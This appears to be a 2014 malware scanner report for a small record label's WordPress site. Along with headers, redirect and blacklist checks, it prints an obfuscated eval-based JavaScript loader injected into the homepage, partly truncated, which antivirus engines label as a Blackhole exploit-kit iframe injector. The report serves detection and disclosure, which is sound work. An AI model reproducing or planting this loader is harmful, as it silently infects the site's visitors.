New scan:

Malware Scanner report for birthrightrecordings.com

Malicious/Suspicious/Total urls checked
1/0/10
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/1
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://birthrightrecordings.com/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 26 Dec 2014 05:18:32 GMT
Location: http://www.birthrightrecordings.com/
Server: Apache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.birthrightrecordings.com/xmlrpc.php
clean
http://www.birthrightrecordings.com/
200 OK
Content-Length: 11791
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

try{document.body++}catch(dgsgsdg){zxc=1;ww=eval("window");}try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="asd"}catch(bawetawe){if(ww.document){v=window;try{fawbe--}catch(afnwenew){if("".substr)ev=eval;n=["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3
... 2411 bytes are skipped ...
,"41","45","43","44","4g","1e","1j","1e","1o","1n","1e","1g","29","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1l","3m","4c","4c","41","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"];h=2;s="";if(zxc)for(i=0;i-607!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],25));}z=s;if(ww.document)ev("if(1)"+z)}}}

Antivirus reports:

AntiVir
JS/iFrame.WQ
Avast
JS:Blacole-DO [Expl]
Ikarus
Exploit.JS.Blacole
nProtect
Trojan.Script.480321
TrendMicro-HouseCall
JS_BLACOLE.SMAP
Comodo
TrojWare.JS.Agent.AXQ
CAT-QuickHeal
JS/IframeRef.DCC
McAfee-GW-Edition
JS/Exploit-Blacole.gc
TrendMicro
JS_BLACOLE.SMAP
Kaspersky
HEUR:Trojan.Script.Iframer
Microsoft
Trojan:JS/BlacoleRef.CM
MicroWorld-eScan
Trojan.Script.480321
Fortinet
JS/Crypt.BBEO!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.gc
NANO-Antivirus
Trojan.Script.Blackhole.bekghp
F-Secure
Trojan.Script.480321
VIPRE
Trojan.JS.BlacoleRef.cm (v)
AVG
HTML/Framer
Norman
Script.AN
GData
Trojan.Script.480321
BitDefender
Trojan.Script.480321

http://www.birthrightrecordings.com/wp-includes/js/jquery/jquery.js?ver=1.7.2
200 OK
Content-Length: 94861
Content-Type: text/javascript
clean
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/md5.js
200 OK
Content-Length: 6503
Content-Type: text/javascript
clean
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/pretty.js
200 OK
Content-Length: 1155
Content-Type: text/javascript
clean
http://cdn.jquerytools.org/1.2.5/full/jquery.tools.min.js
200 OK
Content-Length: 118695
Content-Type: application/x-javascript
clean
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/DD_belatedPNG.js
200 OK
Content-Length: 7019
Content-Type: text/javascript
clean
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/scripts.js
200 OK
Content-Length: 1705
Content-Type: text/javascript
clean
http://birthrightrecordings.com/test404page.js
404 Not Found
Content-Length: 2445
Content-Type: text/html
clean
http://cdn.dsultra.com/js/registrar.js
200 OK
Content-Length: 1688
Content-Type: application/x-javascript
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: birthrightrecordings.com

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 26 Dec 2014 05:18:32 GMT
Location: http://www.birthrightrecordings.com/
Server: Apache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.birthrightrecordings.com/xmlrpc.php

...0 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: birthrightrecordings.com
Referer: http://www.google.com/search?q=birthrightrecordings.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=birthrightrecordings.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://birthrightrecordings.com/

Result: birthrightrecordings.com is not infected or malware details are not published yet.